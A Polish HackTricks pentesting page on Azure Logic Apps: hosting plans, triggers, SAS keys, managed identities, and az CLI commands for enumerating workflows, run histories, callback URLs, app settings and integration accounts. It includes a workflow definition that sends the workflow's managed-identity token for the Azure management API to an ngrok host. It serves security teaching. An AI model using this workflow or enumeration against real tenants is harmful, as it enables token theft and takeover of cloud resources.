Az - Logic Apps

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Podstawowe informacje

Azure Logic Apps umożliwia deweloperom tworzenie i uruchamianie przepływów pracy, które integrują różne usługi, źródła danych i aplikacje. Te przepływy pracy są zaprojektowane w celu automatyzacji procesów biznesowych, orkiestracji zadań i realizacji integracji danych w różnych platformach.

Logic Apps oferuje wizualny projektant do tworzenia przepływów pracy z szeroką gamą wbudowanych konektorów, co ułatwia łączenie się i interakcję z różnymi usługami:

https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png

Opcje hostingu

Istnieje kilka opcji hostingu:

  • Consumption
  • Multi-tenant: Oferuje współdzielone zasoby obliczeniowe, działa w chmurze publicznej i stosuje model cenowy płatności za operację. Jest to idealne dla lekkich i opłacalnych obciążeń. To, co nazwiemy “Single Workflow”.
  • Standard
  • Workflow Service Plan: Oferuje dedykowane zasoby obliczeniowe z integracją VNET dla sieci i pobiera opłaty za instancję planu usługi przepływu pracy. Jest odpowiedni dla bardziej wymagających obciążeń, które wymagają większej kontroli.
  • App Service Environment V3: Oferuje dedykowane zasoby obliczeniowe z pełną izolacją i skalowalnością. Integruje się również z VNET dla sieci i stosuje model cenowy oparty na instancjach App Service w środowisku.
  • Hybrid: Zaprojektowany do lokalnego przetwarzania i wsparcia multi-cloud. Umożliwia zarządzane przez klienta zasoby obliczeniowe z dostępem do lokalnej sieci i wykorzystuje Kubernetes Event-Driven Autoscaling (KEDA). Opiera się na Container App Connected Environment.

“Single” Workflows / Consumption Plan

Workflow to uporządkowana sekwencja zautomatyzowanych kroków lub zadań, które realizują określony proces lub cel. Definiuje, jak różne działania, warunki i decyzje współdziałają, aby osiągnąć pożądany wynik, usprawniając operacje i redukując wysiłek manualny.

Tip

Plan Consumption pozwala na tworzenie pojedynczego przepływu pracy bez potrzeby posiadania samej Logic App.

Wyzwalacze i akcje

Wyzwalacze przepływu pracy wskazują kiedy przepływ pracy powinien się rozpocząć. Wyzwalacze mogą być punktem końcowym HTTP, harmonogramem lub dziesiątkami różnych zdarzeń z Azure lub nawet zewnętrznych aplikacji.

Każdy przepływ pracy ma różne akcje. Te akcje to kroki, które przepływ pracy wykonuje. W zależności od akcji różne parametry będą dostępne do skonfigurowania, takie jak:

  • Nazwa połączenia: Połączenie, z którym akcja będzie współdziałać.
  • Typ uwierzytelnienia: Różne opcje to Klucz dostępu, Microsoft Entra ID, uwierzytelnianie zintegrowanego głównego konta usługi i tożsamość zarządzana Logic Apps.
  • Z perspektywy tylko do odczytu, dane Uwierzytelnienia są zawsze interesujące, ponieważ mogą zawierać wrażliwe informacje.
  • Z perspektywy zapisu, dane Uwierzytelnienia są zawsze interesujące, ponieważ mogą pozwolić na wykorzystanie uprawnień przypisanych tożsamości zarządzanych.

Akcje mają również różne ustawienia, które zależą od samej akcji. Niektóre z najczęstszych ustawień to:

  • Polityka ponownego próby: Konfiguruje liczbę prób i odstęp między nimi.
  • Limit czasu: Ustala maksymalny czas, przez jaki akcja może działać, zanim wygaśnie.
  • Uruchom po: Określa warunki, które muszą być spełnione przed uruchomieniem akcji.
  • Walidacja schematu: Zapewnia, że przychodzące dane przestrzegają zdefiniowanej struktury.
  • Sieć: Konfiguruje, jak zarządzać różnymi nagłówkami.
  • Bezpieczne dane wejściowe/wyjściowe: To ukryje dane wejściowe/wyjściowe z historii uruchamiania.

Polityki autoryzacji

Te przepływy pracy wspierają polityki autoryzacji z Entra ID, aby zabezpieczyć wyzwalacze oparte na żądaniach, wymagając ważnego tokena dostępu. Ten token musi zawierać określone roszczenia:

  • Wydawca (iss) do weryfikacji dostawcy tożsamości
  • Odbiorca (aud) aby upewnić się, że token jest przeznaczony dla Logic App
  • Temat (sub) do identyfikacji wywołującego
  • ID JWT (identyfikator tokena JSON Web)
  • Niestandardowe roszczenie

Gdy żądanie jest odbierane, Logic Apps weryfikuje token w odniesieniu do tych roszczeń i pozwala na wykonanie tylko wtedy, gdy pasują do skonfigurowanej polityki. Może to być użyte do zezwolenia innemu najemcy na wyzwolenie przepływu pracy lub odmowy wyzwolenia z innych źródeł, na przykład zezwalając na wyzwolenie tylko, jeśli pochodzi z https://login.microsoftonline.com/.

Klucze dostępu

Przepływy pracy generują 2 klucze dostępu w momencie ich tworzenia. Klucze te są używane do uwierzytelniania i autoryzacji żądań do przepływu pracy. Klucze są używane do generowania tokena Shared Access Signature (SAS), który jest dołączany do adresu URL żądania.

Tak więc, gdy tworzony jest wyzwalacz punktu końcowego HTTP, generowany jest unikalny punkt końcowy HTTP z podpisem SAS, który przyznaje pozwolenie na wywołanie przepływu pracy.

Te klucze mogą być regenerowane i nowy adres URL SAS zostanie utworzony dla tych wyzwalaczy, ale wartości kluczy nie mogą być dostępne.

Przykład adresu URL SAS do wywołania wyzwalacza:

https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>

Ustawienia i komponenty przepływu pracy

  • Opcja dostępu do wyzwalacza: To ustawienie pozwala ograniczyć, kto może wyzwalać lub uruchamiać twój przepływ pracy. Opcje to: Dowolny adres IP, Tylko inny przepływ pracy oraz Konkretne zakresy adresów IP.
  • Konto integracyjne: Połącz swój przepływ pracy z Kontem Integracyjnym.
  • Wysoka przepustowość: Jeśli włączone, pozwala na szybkie obsługiwanie większej liczby żądań równolegle.
  • Zachowanie historii uruchomień: To wskazuje liczbę dni, przez które należy przechowywać historię uruchomień.
  • Połączenia API: To pokazuje różne połączenia API, które ma przepływ pracy. W ramach każdego z tych połączeń mają różne właściwości oraz możliwość edytowania połączenia API, gdzie typ uwierzytelnienia może być zmieniony.
  • Historia: Ma opcję dostępu do historii starych wykonania i uzyskania danych: Ustawienia, Wyjście, Parametry oraz Kod.
  • Wersje: Ma opcję dostępu do różnych wersji przepływu pracy, gdzie możesz sprawdzić kod i zmienić obecny przepływ pracy na starszą wersję.
  • Zarządzane tożsamości: Możliwe jest przypisanie 1 systemowej tożsamości zarządzanej oraz tożsamości użytkownika zarządzanej do przepływu pracy.

Wycieki tokenów dostępu MI

Akcja HTTP w przepływie pracy może być używana do wysyłania danych do zewnętrznej sieci. W Zaawansowanych parametrach akcji HTTP możliwe jest skonfigurowanie Typu uwierzytelnienia jako Managed identity i następnie wybranie przypisanej tożsamości zarządzanej do użycia (systemowej lub użytkownika).

Ponadto, możliwe jest wskazanie w Audience odbiorcy wygenerowanego JWT, który może być na przykład https://management.azure.com/, aby móc użyć wygenerowanego tokena do uzyskania dostępu do API zarządzania Azure.

Warning

Sprawienie, aby akcja wysłała żądanie HTTP do serwera kontrolowanego przez atakującego, może spowodować wyciek tokena dostępu tożsamości zarządzanej przypisanej do przepływu pracy.

Tip

Atakujący może również użyć innych typów akcji, aby bezpośrednio uzyskać dostęp do innych usług Azure i wykonywać działania z uprawnieniami tożsamości zarządzanej.

To jest kod przepływu pracy, który eksponuje punkt końcowy HTTP, a następnie używa akcji HTTP do wycieku tokena dostępu do skonfigurowanego URL (ngrok w tym przypadku):

Kod przepływu pracy ```json { "definition": { "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", "contentVersion": "1.0.0.0", "triggers": { "When_a_HTTP_request_is_received": { "type": "Request", "kind": "Http" } }, "actions": { "HTTP": { "runAfter": {}, "type": "Http", "inputs": { "uri": "https://22b6-81-33-70-107.ngrok-free.app", "method": "GET", "authentication": { "type": "ManagedServiceIdentity", "audience": "https://management.azure.com/" } }, "runtimeConfiguration": { "contentTransfer": { "transferMode": "Chunked" } } } }, "outputs": {}, "parameters": { "$connections": { "type": "Object", "defaultValue": {} } } }, "parameters": { "$connections": { "type": "Object", "value": {} } } } ```

Logic Apps / Standard Plan

Różnice z “Jednostkowymi” Workflowami

Logic apps zasadniczo używają App Service w tle do hostowania aplikacji logicznej, która może hostować kilka workflowów. Oznacza to, że aplikacja logiczna będzie miała wszystkie funkcje App Service oraz “Jednostkowych” Workflowów.

Niektóre kluczowe funkcje to:

  • App Service Plan: Logic Apps w standardowym planie są hostowane na App Service Plan, więc możliwe jest korzystanie ze wszystkich funkcji App Service, takich jak:
  • Ograniczenia sieciowe: Wskazuje, skąd jest dostępne.
  • Centrum wdrożeń: Wdrażaj z zewnętrznych platform, takich jak Github, Bitbucket, Azure Repos, External Git i Local Git.
  • Dostęp FTP: Możliwe jest uzyskanie dostępu do plików aplikacji logicznej przez FTP.
  • Konto magazynowe: Aplikacja usługi korzysta z konta magazynowego do przechowywania informacji.
  • Zmienne środowiskowe i ustawienia aplikacji: Możliwe jest skonfigurowanie zmiennych środowiskowych i ustawień aplikacji (i znalezienie wrażliwych informacji, takich jak klucze dostępu do konta magazynowego).
  • Parametry: Parametry pozwalają zarządzać wartościami, które różnią się w zależności od środowiska deweloperskiego, testowego i produkcyjnego. Umożliwia to zaprojektowanie workflowów najpierw, a następnie łatwe dostosowanie ustawień specyficznych dla środowiska później.
  • Dedykowane zasoby: Logic Apps w standardowym planie mają dedykowane zasoby.
  • Wiele workflowów: Umożliwia tworzenie wielu workflowów.

Aby uzyskać więcej informacji o App Services, sprawdź:

Az - Azure App Services

Enumeracja

# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>

# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"

# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"

# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"

# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"

# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"

# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>

# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>

# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>

# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"

# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"

# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"

# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"


Konta integracyjne

Konta integracyjne to funkcja Azure Logic Apps. Konta integracyjne są używane do ułatwienia integracji na poziomie przedsiębiorstwa, umożliwiając zaawansowane możliwości B2B, takie jak EDI, AS2 i zarządzanie schematami XML. Konta integracyjne to kontenery w Azure, które przechowują następujące artefakty używane w Logic Apps:

  • Schematy: Zarządzaj schematami XML do walidacji i przetwarzania wiadomości w swoim koncie integracyjnym.
  • Mapy: Konfiguruj transformacje oparte na XSLT, aby konwertować formaty danych w ramach swoich przepływów integracyjnych.
  • Zbiory: Zarządzaj zbiorami konta integracyjnego, aby uprościć logikę i przetwarzanie danych.
  • Certyfikaty: Obsługuj certyfikaty do szyfrowania i podpisywania wiadomości, zapewniając bezpieczną komunikację.
  • Partnerzy: Zarządzaj informacjami o partnerach handlowych dla transakcji B2B, umożliwiając płynne integracje.
  • Umowy: Konfiguruj zasady i ustawienia wymiany danych z partnerami handlowymi (np. EDI, AS2).
  • Konfiguracje wsadowe: Zarządzaj konfiguracjami przetwarzania wsadowego, aby grupować i przetwarzać wiadomości efektywnie.
  • RosettaNet PIP: Konfiguruj procesy interfejsu partnera RosettaNet (PIP) w celu standaryzacji komunikacji B2B.

Wyliczenie

# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>

# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>

az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>

# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>

# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>

# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>

# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>

az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>


Eskalacja Uprawnień

Tak samo jak eskalacja uprawnień w aplikacjach logicznych:

Az - Logic Apps Privesc

Po Eksploatacji

Az - Logic Apps Post Exploitation

Utrzymywanie

Az - Logic Apps Persistence

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks